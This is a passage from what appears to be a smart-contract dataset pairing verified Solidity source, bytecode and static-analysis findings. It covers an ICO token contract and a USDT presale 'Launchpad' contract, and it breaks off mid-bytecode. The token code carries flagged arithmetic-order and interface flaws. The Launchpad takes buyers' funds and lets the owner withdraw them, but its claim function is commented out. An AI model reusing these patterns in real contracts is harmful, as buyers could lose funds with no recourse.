require(PrivateSale_Cap[msg.sender] + msg.value <= 5 ether); //private sale -> 5 Eth Limit
}
if(ICO_Tier == 3)
{
require(whitelist[msg.sender]);
require(PreIco_Cap[msg.sender] + msg.value <= 15 ether); //pre-ico -> 15 Eth Limit
}
if(ICO_Tier == 4)
{
require(whitelist[msg.sender]);
require(MainIco_Cap[msg.sender] + msg.value <= 15 ether); //main-ico -> 15 Eth Limit
}
_;
}
function unlockDevTokenSupply() onlyOwner public {
require(now > 1577836800); //can be unlocked only on 1/1/2020
require(DevSupply_Released == false);
balanceOf[owner] += Dev_Supply;
totalSupply += Dev_Supply;
emit Transfer(0, this, Dev_Supply);
emit Transfer(this, owner, Dev_Supply);
Dev_Supply = 0; //clear dev supply -> 0
DevSupply_Released = true; //to avoid next execution
}
function unlockGrowthPoolTokenSupply() onlyOwner public {
require(now > 1546300800); //can be unlocked only on 1/1/2019
require(GrowthPool_Released == false);
balanceOf[owner] += GrowthPool_Supply;
totalSupply += GrowthPool_Supply;
emit Transfer(0, this, GrowthPool_Supply);
emit Transfer(this, owner, GrowthPool_Supply);
GrowthPool_Supply = 0; //clear growthpool supply -> 0
GrowthPool_Released = true; //to avoid next execution
}
function sendUnsoldTokenToRewardSupply() onlyOwner public {
require(ICO_Finished == true);
uint totalUnsold = Total_ICOSupply - Total_SoldToken; //get total unsold token on ICO
Rewards_Supply += totalUnsold; //add to rewards / mineable supply
Total_SoldToken += totalUnsold;
}
function giveReward(address target, uint256 reward) onlyOwner public {
require(Rewards_Supply >= reward);
balanceOf[target] += reward;
totalSupply += reward;
emit Transfer(0, this, reward);
emit Transfer(this, target, reward);
Rewards_Supply -= reward;
}
function _transferToken(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) notLocked public {
_transferToken(msg.sender, _to, _value);
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function() payable buyingToken public {
uint totalToken = (msg.value.mul(ICO_TokenValue)).div(10 ** 18);
totalToken = totalToken.mul(ONETOKEN);
require(ICO_Supply >= totalToken);
if(ICO_Tier == 2)
{
PrivateSale_Cap[msg.sender] += msg.value;
}
if(ICO_Tier == 3)
{
PreIco_Cap[msg.sender] += msg.value;
}
if(ICO_Tier == 4)
{
MainIco_Cap[msg.sender] += msg.value;
}
ICO_Supply -= totalToken;
_transfer(owner, msg.sender, totalToken);
uint256 sendBonus = icoReturnBonus(msg.value);
if(sendBonus != 0)
{
msg.sender.transfer(sendBonus);
}
etherWallet.transfer(this.balance);
Collected_Ether += msg.value - sendBonus; //divide 18 decimals
Total_SoldToken += totalToken; //divide 8 decimals
}
function icoReturnBonus(uint256 amount) internal constant returns (uint256) {
uint256 bonus = 0;
if(ICO_Tier == 1)
{
bonus = amount.mul(15).div(100);
}
if(ICO_Tier == 2)
{
bonus = amount.mul(12).div(100);
}
if(ICO_Tier == 3)
{
bonus = amount.mul(10).div(100);
}
if(ICO_Tier == 4)
{
bonus = amount.mul(8).div(100);
}
return bonus;
}
function withdrawEther() onlyOwner public{
owner.transfer(this.balance);
}
function setIcoTier(uint256 newTokenValue) onlyOwner public {
require(ICO_Finished == false && ICO_Tier < 4);
ICO_Tier += 1;
ICO_AllowPayment = true;
ICO_TokenValue = newTokenValue;
if(ICO_Tier == 1){
ICO_Supply = 62500000 * ONETOKEN; //62.5M supply -> x private sale
}
if(ICO_Tier == 2){
ICO_Supply = 100 * MILLION * ONETOKEN; //100M supply -> private sale
}
if(ICO_Tier == 3){
ICO_Supply = 150 * MILLION * ONETOKEN; //150M supply -> pre-ico
}
if(ICO_Tier == 4){
ICO_Supply = 187500000 * ONETOKEN; //187.5M supply -> main-ico
}
}
function FinishIco() onlyOwner public {
require(ICO_Tier >= 4);
ICO_Supply = 0;
ICO_Tier = 0;
ICO_TokenValue = 0;
ICO_Finished = true;
ICO_AllowPayment = false;
emit IcoFinished(true);
}
function setWhitelistAddress(address addr, bool status) onlyOwner public {
whitelist[addr] = status;
emit Whitelisted(addr, status);
}
function setIcoPaymentStatus(bool status) onlyOwner public {
require(ICO_Finished == false);
ICO_AllowPayment = status;
}
function setTokenTransferStatus(bool status) onlyOwner public {
require(ICO_Finished == true);
Token_AllowTransfer = status;
}
} | 0x6080604052600436106101e25763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461049d5780630cd74cd914610527578063162897c01461055857806318160ddd1461056f5780631c92dbcc14610596578063313ce567146105b7578063342b88ba146105cc5780633f914aef146105e457806341b8547c1461060a57806342966c681461061f57806343c273c71461064b5780634ba034dc146106605780635aac8aad146106755780635ebad2ab1461068a5780635f856dbf1461069f57806363263a64146106b45780636d99aafd146106d55780636ea3b6d1146106ea57806370a08231146106ff5780637362377b1461072057806377542194146107355780638da5cb5b1461074f5780638eb1536b146107645780638ed9fd75146107855780638f1f761a1461079a578063938db92e146107af57806395d89b41146107c45780639b19251a146107d95780639f621075146107fa578063a9059cbb1461080f578063af0c925914610833578063bf1cd41614610848578063cbe239ed1461085d578063ce8ae9f314610877578063d0b0c0d51461089b578063d180ebca146108b0578063d6391a01146108c5578063eacb05d8146108da578063f2fde38b146108ef575b600954600090819060ff1615156001146101fb57600080fd5b600054600160a060020a031633141561021357600080fd5b6006546001141561023c57336000908152600f602052604090205460ff16151561023c57600080fd5b6006546002141561028d57336000908152600f602052604090205460ff16151561026557600080fd5b33600090815260106020526040902054674563918244f4000034909101111561028d57600080fd5b600654600314156102de57336000908152600f602052604090205460ff1615156102b657600080fd5b3360009081526011602052604090205467d02ab486cedc00003490910111156102de57600080fd5b6006546004141561032f57336000908152600f602052604090205460ff16151561030757600080fd5b3360009081526012602052604090205467d02ab486cedc000034909101111561032f57600080fd5b61035c670de0b6b3a76400006103506008543461091090919063ffffffff16565b9063ffffffff61093b16565b9150610372826305f5e10063ffffffff61091016565b9150816007541015151561038557600080fd5b600654600214156103a6573360009081526010602052604090208054340190555b600654600314156103c7573360009081526011602052604090208054340190555b600654600414156103e8573360009081526012602052604090208054340190555b60078054839003905560005461040890600160a060020a03163384610952565b61041134610a0d565b9050801561044857604051339082156108fc029083906000818181858888f19350505050158015610446573d6000803e3d6000fd5b505b600d54604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610482573d6000803e3d6000fd5b50600a80543492909203919091019055600b80549091019055005b3480156104a957600080fd5b506104b2610aa8565b6040805160208082528351818301528351919283929083019185019080838360005b838110156104ec5781810151838201526020016104d4565b50505050905090810190601f1680156105195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053357600080fd5b5061053c610adf565b60408051600160a060020a039092168252519081900360200190f35b34801561056457600080fd5b5061056d610aee565b005b34801561057b57600080fd5b50610584610b3a565b60408051918252519081900360200190f35b3480156105a257600080fd5b50610584600160a060020a0360043516610b40565b3480156105c357600080fd5b50610584610b52565b3480156105d857600080fd5b5061056d600435610b57565b3480156105f057600080fd5b5061056d600160a060020a03600435166024351515610c0c565b34801561061657600080fd5b50610584610c83565b34801561062b57600080fd5b50610637600435610c89565b604080519115158252519081900360200190f35b34801561065757600080fd5b50610637610d01565b34801561066c57600080fd5b5061056d610d0a565b34801561068157600080fd5b50610584610de4565b34801561069657600080fd5b50610584610dea565b3480156106ab57600080fd5b50610637610df0565b3480156106c057600080fd5b50610584600160a060020a0360043516610dfe565b3480156106e157600080fd5b50610584610e10565b3480156106f657600080fd5b50610637610e16565b34801561070b57600080fd5b50610584600160a060020a0360043516610e25565b34801561072c57600080fd5b5061056d610e37565b34801561074157600080fd5b5061056d6004351515610e89565b34801561075b57600080fd5b5061053c610ed4565b34801561077057600080fd5b50610584600160a060020a0360043516610ee3565b34801561079157600080fd5b50610584610ef5565b3480156107a657600080fd5b50610584610efb565b3480156107bb57600080fd5b50610584610f01565b3480156107d057600080fd5b506104b2610f07565b3480156107e557600080fd5b50610637600160a060020a0360043516610f3e565b34801561080657600080fd5b50610637610f53565b34801561081b57600080fd5b5061056d600160a060020a0360043516602435610f5c565b34801561083f57600080fd5b50610584610f9c565b34801561085457600080fd5b50610637610fa2565b34801561086957600080fd5b5061056d6004351515610fb0565b34801561088357600080fd5b5061056d600160a060020a0360043516602435610ff0565b3480156108a757600080fd5b5061056d61109a565b3480156108bc57600080fd5b5061056d61116d565b3480156108d157600080fd5b506105846111f4565b3480156108e657600080fd5b50610584611200565b3480156108fb57600080fd5b5061056d600160a060020a0360043516611206565b600082820283158061092c575082848281151561092957fe5b04145b151561093457fe5b9392505050565b600080828481151561094957fe5b04949350505050565b600160a060020a038216151561096757600080fd5b600160a060020a0383166000908152600e602052604090205481111561098c57600080fd5b600160a060020a0382166000908152600e602052604090205481810110156109b357600080fd5b600160a060020a038084166000818152600e602090815260408083208054879003905593861680835291849020805486019055835185815293519193600080516020611342833981519152929081900390910190a3505050565b600654600090819060011415610a3657610a33606461035085600f63ffffffff61091016565b90505b60065460021415610a5a57610a57606461035085600c63ffffffff61091016565b90505b60065460031415610a7e57610a7b606461035085600a63ffffffff61091016565b90505b60065460041415610aa257610a9f606461035085600863ffffffff61091016565b90505b92915050565b60408051808201909152600881527f45524e546f6b656e000000000000000000000000000000000000000000000000602082015281565b600d54600160a060020a031681565b60008054600160a060020a03163314610b0657600080fd5b60055462010000900460ff161515600114610b2057600080fd5b50600b8054600c5460048054918390039182019055019055565b60015481565b60126020526000908152604090205481565b600881565b600054600160a060020a03163314610b6e57600080fd5b60055462010000900460ff16158015610b8957506004600654105b1515610b9457600080fd5b600680546001908101918290556009805460ff19168217905560088390551415610bc4576616345785d8a0006007555b60065460021415610bdb57662386f26fc100006007555b60065460031415610bf25766354a6ba7a180006007555b60065460041415610c095766429d069189e0006007555b50565b600054600160a060020a03163314610c2357600080fd5b600160a060020a0382166000818152600f6020908152604091829020805460ff1916851515908117909155825190815291517fa54714518c5d275fdcd3d2a461e4858e4e8cb04fb93cd0bca9d6d34115f264409281900390910190a25050565b60025481565b336000908152600e6020526040812054821115610ca557600080fd5b336000818152600e602090815260409182902080548690039055600180548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60055460ff1681565b600054600160a060020a03163314610d2157600080fd5b635c2aad804211610d3157600080fd5b600554610100900460ff1615610d4657600080fd5b6003805460008054600160a060020a03168152600e60209081526040808320805490940190935592546001805482019055825190815291513093919260008051602061134283398151915292908290030190a36000546003546040805191825251600160a060020a03909216913091600080516020611342833981519152919081900360200190a360006003556005805461ff001916610100179055565b60085481565b60035481565b600954610100900460ff1681565b60106020526000908152604090205481565b600a5481565b60055462010000900460ff1681565b600e6020526000908152604090205481565b600054600160a060020a03163314610e4e57600080fd5b60008054604051600160a060020a0390911691303180156108fc02929091818181858888f19350505050158015610c09573d6000803e3d6000fd5b600054600160a060020a03163314610ea057600080fd5b60055462010000900460ff161515600114610eba57600080fd5b600980549115156101000261ff0019909216919091179055565b600054600160a060020a031681565b60116020526000908152604090205481565b60075481565b60045481565b60065481565b60408051808201909152600381527f45524e0000000000000000000000000000000000000000000000000000000000602082015281565b600f6020526000908152604090205460ff1681565b60095460ff1681565b60095460ff61010090910416151560011480610f825750600054600160a060020a031633145b1515610f8d57600080fd5b610f9833838361124c565b5050565b600b5481565b600554610100900460ff1681565b600054600160a060020a03163314610fc757600080fd5b60055462010000900460ff1615610fdd57600080fd5b6009805460ff1916911515919091179055565b600054600160a060020a0316331461100757600080fd5b60045481111561101657600080fd5b600160a060020a0382166000908152600e60209081526040808320805485019055600180548501905580518481529051309392600080516020611342833981519152928290030190a3604080518281529051600160a060020a0384169130916000805160206113428339815191529181900360200190a36004805491909103905550565b600054600160a060020a031633146110b157600080fd5b635e0be10042116110c157600080fd5b60055460ff16156110d157600080fd5b6002805460008054600160a060020a03168152600e60209081526040808320805490940190935592546001805482019055825190815291513093919260008051602061134283398151915292908290030190a36000546002546040805191825251600160a060020a03909216913091600080516020611342833981519152919081900360200190a360006002556005805460ff19166001179055565b600054600160a060020a0316331461118457600080fd5b6006546004111561119457600080fd5b6000600781905560068190556008556005805462ff00001916620100001790556009805460ff19169055604080516001815290517f59b976ecaced329630e954a021fbd9593894ff5a7480e5d7351e73cecbf285f19181900360200190a1565b67016345785d8a000081565b600c5481565b600054600160a060020a0316331461121d57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a038316151561126357600080fd5b600160a060020a0384166000908152600e602052604090205482111561128857600080fd5b600160a060020a0383166000908152600e6020526040902054828101116112ae57600080fd5b50600160a060020a038083166000818152600e6020908152604080832080549589168085528285208054898103909155948690528154880190915581518781529151939095019492600080516020611342833981519152929181900390910190a3600160a060020a038084166000908152600e602052604080822054928716825290205401811461133b57fe5b505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582064cb25c53ebd8a5987d73f5f851dad4d3a382c8e336d83ce62ef15913619320b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 638 |
0x72dcbcde6a2eedfd7a91fa026dbc53c7664c4775 | /**
*Submitted for verification at Etherscan.io on 2021-03-12
*/
/**
*Submitted for verification at Etherscan.io on 2021-01-13
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// import ierc20 & safemath & non-standard
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface INonStandardERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transfer does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transferFrom does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transferFrom(
address src,
address dst,
uint256 amount
) external;
function approve(address spender, uint256 amount)
external
returns (bool success);
function allowance(address owner, address spender)
external
view
returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
}
contract Launchpad is Ownable {
using SafeMath for uint256;
event ClaimableAmount(address _user, uint256 _claimableAmount);
// address public owner;
uint256 public rate;
uint256 public allowedUserBalance;
bool public presaleOver;
IERC20 public usdt;
mapping(address => uint256) public claimable;
uint256 public hardcap;
constructor(uint256 _rate, address _usdt, uint256 _hardcap, uint256 _allowedUserBalance) public {
rate = _rate;
usdt = IERC20(_usdt);
presaleOver = false;
// owner = msg.sender;
hardcap = _hardcap;
allowedUserBalance = _allowedUserBalance;
}
modifier isPresaleOver() {
require(presaleOver == true, "The presale is not over");
_;
}
function changeHardCap(uint256 _hardcap) onlyOwner public {
hardcap = _hardcap;
}
function changeAllowedUserBalance(uint256 _allowedUserBalance) onlyOwner public {
allowedUserBalance = _allowedUserBalance;
}
function endPresale() external onlyOwner returns (bool) {
presaleOver = true;
return presaleOver;
}
function startPresale() external onlyOwner returns (bool) {
presaleOver = false;
return presaleOver;
}
function buyTokenWithUSDT(uint256 _amount) external {
// user enter amount of ether which is then transfered into the smart contract and tokens to be given is saved in the mapping
require(presaleOver == false, "presale is over you cannot buy now");
uint256 tokensPurchased = _amount.mul(rate);
uint256 userUpdatedBalance = claimable[msg.sender].add(tokensPurchased);
require( _amount.add(usdt.balanceOf(address(this))) <= hardcap, "Hardcap for the tokens reached");
// for USDT
require(userUpdatedBalance.div(rate) <= allowedUserBalance, "Exceeded allowed user balance");
// usdt.transferFrom(msg.sender, address(this), _amount);
doTransferIn(address(usdt), msg.sender, _amount);
claimable[msg.sender] = userUpdatedBalance;
emit ClaimableAmount(msg.sender, tokensPurchased);
}
// function claim() external isPresaleOver {
// // it checks for user msg.sender claimable amount and transfer them to msg.sender
// require(claimable[msg.sender] > 0, "NO tokens left to be claim");
// usdc.transfer(msg.sender, claimable[msg.sender]);
// claimable[msg.sender] = 0;
// }
function doTransferIn(
address tokenAddress,
address from,
uint256 amount
) internal returns (uint256) {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
uint256 balanceBefore = INonStandardERC20(tokenAddress).balanceOf(address(this));
_token.transferFrom(from, address(this), amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a compliant ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_IN_FAILED");
// Calculate the amount that was actually transferred
uint256 balanceAfter = INonStandardERC20(tokenAddress).balanceOf(address(this));
require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW");
return balanceAfter.sub(balanceBefore); // underflow already checked above, just subtract
}
function doTransferOut(
address tokenAddress,
address to,
uint256 amount
) internal {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
_token.transfer(to, amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a complaint ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_OUT_FAILED");
}
function fundsWithdrawal(uint256 _value) external onlyOwner isPresaleOver {
// claimable[owner] = claimable[owner].sub(_value);
// usdt.transfer(_msgSender(), _value);
doTransferOut(address(usdt), _msgSender(), _value);
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063bcd2f64a11610066578063bcd2f64a146102ac578063c8d8b6fa146102da578063e3b8686514610308578063f2fde38b14610336576100f5565b8063715018a6146102305780638da5cb5b1461023a578063a43be57b1461026e578063b071cbe61461028e576100f5565b80632f48ab7d116100d35780632f48ab7d14610166578063402914f51461019a5780634738a883146101f257806359ccecc914610212576100f5565b806304c98b2b146100fa57806324f32f821461011a5780632c4e722e14610148575b600080fd5b61010261037a565b60405180821515815260200191505060405180910390f35b6101466004803603602081101561013057600080fd5b8101908080359060200190929190505050610474565b005b610150610546565b6040518082815260200191505060405180910390f35b61016e61054c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101dc600480360360208110156101b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610572565b6040518082815260200191505060405180910390f35b6101fa61058a565b60405180821515815260200191505060405180910390f35b61021a61059d565b6040518082815260200191505060405180910390f35b6102386105a3565b005b610242610729565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610276610752565b60405180821515815260200191505060405180910390f35b61029661084c565b6040518082815260200191505060405180910390f35b6102d8600480360360208110156102c257600080fd5b8101908080359060200190929190505050610852565b005b610306600480360360208110156102f057600080fd5b8101908080359060200190929190505050610bd2565b005b6103346004803603602081101561031e57600080fd5b8101908080359060200190929190505050610d5a565b005b6103786004803603602081101561034c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e2c565b005b6000610384611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610444576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b61047c611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461053c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060058190555050565b60015481565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b600360009054906101000a900460ff1681565b60025481565b6105ab611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061075c611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b60055481565b60001515600360009054906101000a900460ff161515146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116716022913960400191505060405180910390fd5b60006108d56001548361103f90919063ffffffff16565b9050600061092b82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110c590919063ffffffff16565b9050600554610a06600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109bc57600080fd5b505afa1580156109d0573d6000803e3d6000fd5b505050506040513d60208110156109e657600080fd5b8101908080519060200190929190505050856110c590919063ffffffff16565b1115610a7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4861726463617020666f722074686520746f6b656e732072656163686564000081525060200191505060405180910390fd5b600254610a92600154836110e190919063ffffffff16565b1115610b06576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f457863656564656420616c6c6f77656420757365722062616c616e636500000081525060200191505060405180910390fd5b610b33600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16338561112b565b5080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f62871c7b30027ac68155027c44a377be338ed75154b830a8b7fb419e2cb9a4533383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b610bda611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600360009054906101000a900460ff16151514610d23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f5468652070726573616c65206973206e6f74206f76657200000000000000000081525060200191505060405180910390fd5b610d57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d51611037565b8361145c565b50565b610d62611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060028190555050565b610e34611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f7a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116936026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b60008083141561105257600090506110bf565b600082840290508284828161106357fe5b04146110ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806116b96021913960400191505060405180910390fd5b809150505b92915050565b6000808284019050838110156110d757fe5b8091505092915050565b600061112383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611593565b905092915050565b60008084905060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561119a57600080fd5b505afa1580156111ae573d6000803e3d6000fd5b505050506040513d60208110156111c457600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff166323b872dd8630876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561126657600080fd5b505af115801561127a573d6000803e3d6000fd5b5050505060003d6000811461129657602081146112a057600080fd5b60001991506112ac565b60206000803e60005191505b5080611320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f544f4b454e5f5452414e534645525f494e5f4641494c4544000000000000000081525060200191505060405180910390fd5b60008773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d60208110156113b357600080fd5b810190808051906020019092919050505090508281101561143c576040517f08c379a000000000000000000000000000000000000000000000000000000000